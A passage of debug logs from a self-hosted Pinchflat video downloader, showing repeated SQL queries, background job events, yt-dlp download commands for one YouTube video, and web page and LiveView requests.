o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:40.177 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=119.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:40.177 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 21:16:40.177 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 21:16:40.182 [info] {"args":{"id":26},"id":29,"meta":{},"system_time":1774660600182595480,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:16:40.183 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26] 21:16:40.183 [debug] QUERY OK source="tasks" db=0.4ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:40.183 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:16:40.183 [debug] QUERY OK source="tasks" db=0.4ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:40.183 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:40.183 [debug] QUERY OK source="media_items" db=0.5ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [25, 26] 21:16:40.184 [debug] QUERY OK source="media_items" db=0.8ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [25, 26] 21:16:40.184 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:40.184 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26] 21:16:40.184 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [26] 21:16:40.184 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:40.184 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:40.184 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:40.185 [debug] Running yt-dlp command for action: get_downloadable_status 21:16:40.185 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:40.185 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:40.185 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:40.185 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sM0pzP4280U --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/17/70/17703abe18c11b0de8508b27a21fc2f5c8bff024a3cb9976bb8896f2d93b0b99.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:42.636 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sM0pzP4280U --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/17/70/17703abe18c11b0de8508b27a21fc2f5c8bff024a3cb9976bb8896f2d93b0b99.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:42.636 [debug] Running yt-dlp command for action: download 21:16:42.636 [debug] QUERY OK source="settings" db=0.0ms idle=579.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:42.637 [debug] QUERY OK source="settings" db=0.0ms idle=579.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:42.637 [debug] QUERY OK source="settings" db=0.0ms idle=579.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:42.637 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sM0pzP4280U --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/da/78/da78397015f465a390938ce624d21336e56e5f4060751911863eba29f926f94b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:44.902 [info] GET /sources 21:16:44.902 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:16:44.902 [debug] QUERY OK source="settings" db=0.1ms idle=845.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:44.903 [debug] QUERY OK source="settings" db=0.1ms idle=845.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:44.903 [debug] QUERY OK source="settings" db=0.1ms idle=845.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:44.904 [debug] QUERY OK source="settings" db=0.0ms idle=846.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:44.904 [debug] QUERY OK source="settings" db=0.0ms idle=809.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:44.905 [debug] QUERY OK source="sources" db=0.6ms idle=1.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:16:44.906 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:16:44.907 [info] Sent 200 in 5ms 21:16:45.079 [info] CONNECTED TO Phoenix.LiveView.Socket in 32µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "AjwdBjAYOH4xPl8lXgM7PWI-GQBHES1wMuGdqkk7vQ5k7Kro8O-T5UK5", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:16:45.101 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:16:45.101 [debug] QUERY OK source="sources" db=0.6ms idle=197.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:16:45.103 [debug] QUERY OK source="sources" db=1.0ms idle=198.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:16:45.103 [debug] Replied in 2ms 21:16:45.104 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:16:45.105 [debug] Replied in 91µs 21:16:51.637 [info] GET / 21:16:51.637 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:16:51.638 [debug] QUERY OK source="settings" db=0.2ms idle=1580.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:51.638 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1532.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:16:51.639 [debug] QUERY OK source="sources" db=0.2ms idle=581.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:16:51.639 [debug] QUERY OK source="media_items" db=0.1ms idle=582.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:16:51.640 [debug] QUERY OK source="media_items" db=0.3ms idle=531.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:16:51.641 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:51.641 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 